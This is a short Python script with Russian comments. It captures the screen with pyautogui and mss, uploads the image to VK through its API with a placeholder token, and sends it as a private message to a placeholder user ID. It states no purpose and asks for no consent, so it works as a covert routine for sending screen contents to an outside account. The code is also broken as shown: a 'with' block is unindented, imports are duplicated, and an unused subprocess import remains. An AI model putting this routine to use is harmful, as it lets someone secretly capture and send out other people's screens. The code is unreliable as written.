import vk_api, subprocess, pyautogui as pg
pg.screenshot("screenshotacran.jpg")
import mss
import vk_api
import requests
from random import randint
FILE_NAME = "1.png"
vk_session = vk_api.VkApi(token = 'ТУТ_ТОКЕН') # Можно получить вбив в Google
vk = vk_session.get_api()
with mss.mss() as sct:
sct.shot(output = FILE_NAME)
url = vk.photos.getMessagesUploadServer()['upload_url']
photo = requests.post(url, files = {'photo': open(FILE_NAME, 'rb')}).json()
save_ = vk.photos.saveMessagesPhoto(server = photo['server'], photo = photo['photo'], hash = photo['hash'])[0]
vk.messages.send(
user_id = 0, # ТУТ ID ЮЗЕРА
random_id = randint(-2147483648, 2147483647),
attachment = "photo%s_%s" % (save_['owner_id'], save_['id'])
)